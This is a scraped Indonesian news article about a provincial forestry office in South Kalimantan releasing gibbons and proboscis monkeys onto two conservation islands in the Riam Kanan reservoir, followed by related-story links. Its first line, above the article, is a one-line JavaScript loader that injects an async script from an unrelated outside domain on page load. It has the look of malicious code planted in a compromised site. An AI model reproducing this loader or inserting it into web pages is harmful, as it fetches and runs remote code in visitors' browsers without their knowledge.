(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dinas Kehutanan Provinsi Kalimantan Selatan melepasliarkan empat ekor owa dan tiga ekor bekantan pada dua pulau di Waduk Riam Kanan, Kecamatan Aranio, Kabupaten Banjar pada Minggu (14/4) sore. Empat ekor owa dilepas di Pulau Rusa dan dua ekor bekantan di Pulau Bekantan sebagai daerah konservasi.
Kepala Dishut Kalsel, Hanif Faisol Nurofiq, mengatakan pelapasliaran hewan dilindungi ini merespons permintaan delegasi Finlandia yang sempat berkunjung ke kawasan konservasi itu. Menurut Hanif, pola penangkaran bukan solusi karena status hewan dilindungi mesti hidup bebas di habitatnya.
“Kondisi ini (hewan dalam penangkaran) tidak ramah, jadi harus dilepasliarkan. Tidak boleh dikurung, kecuali hewan ternak. Pelepasliaran hewan juga untuk menambah pesona Pulau Rusa dan Pulau Bekantan,” kata Hanif Faisol Nurofiq kepada banjarhits.id ketika pelepasliaran hewan di Pulau Rusa, Minggu (14/4).
Pulau Rusa seluas 3,8 hektare dan Pulau Bekantan seluas 24 hektare. Empat ekor owa hasil evakuasi dari masyarakat, yang lebih dulu dikurung di Pulau Rusa sebelum dilepasliarkan. Adapun tiga ekor bekantan berasal dari relokasi kawasan konservasi Pulau Bakut.
Pihaknya tetap memberikan asupan buah-buahan, seperti pisang. Selain itu, kata dia, kedua pulau ini punya pasokan buah-buahan yang memang disukai uwa-uwa dan bekantan. Untuk enam ekor rusa kiriman dari Istana Negara, Hanif sengaja belum melepasliarkan di Pulau Rusa karena butuh adaptasi ekosistem.
“Enam rusa dikurung dulu karena masih masa transisi di penangkaran. Kami juga akan melepasliarkan ular sanca dan landak di lokasi lain,” ucap Hanif Faisol. Menurut dia, upaya pelepasliaran ini sebagai komitmen pelestarian populasi hewan dilindungi yang makin menyusut akibat konflik dengan masyarakat dan perburuan.
Di Pulau Bekantan, Hanif dan timnya melepasliarkan dua dari tiga ekor bekantan usia delapan bulan. Ketiga hewan ini dikurung dalam dua kandang terpisah. Untuk tahap pertama, Dishut Kalsel melepasliarkan dua ekor bekantan karena sudah siap. Adapun satu ekor masih dikurung lantaran masih butuh perawatan.
Hanif berkesempatan memberikan susu ke kedua ekor bekantan ini. Ia berharap populasi uwa-uwa dan bekantan menambah daya tarik wisata di Waduk Riam Kanan. Pihaknya sudah menyiapkan perda untuk menetapkan retribusi apabila kedua pulau sudah siap dikunjungi wisatawan.
Kedua pulau konservasi ini belum dibuka untuk umum. “Dalam waktu dekat akan diresmikan dulu oleh pak Gubernur. Saya sudah bicara ke pak gubernur agar berkenan meresmikan (Pulau Rusa dan Pulau Bekantan),” katanya. (dishut)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.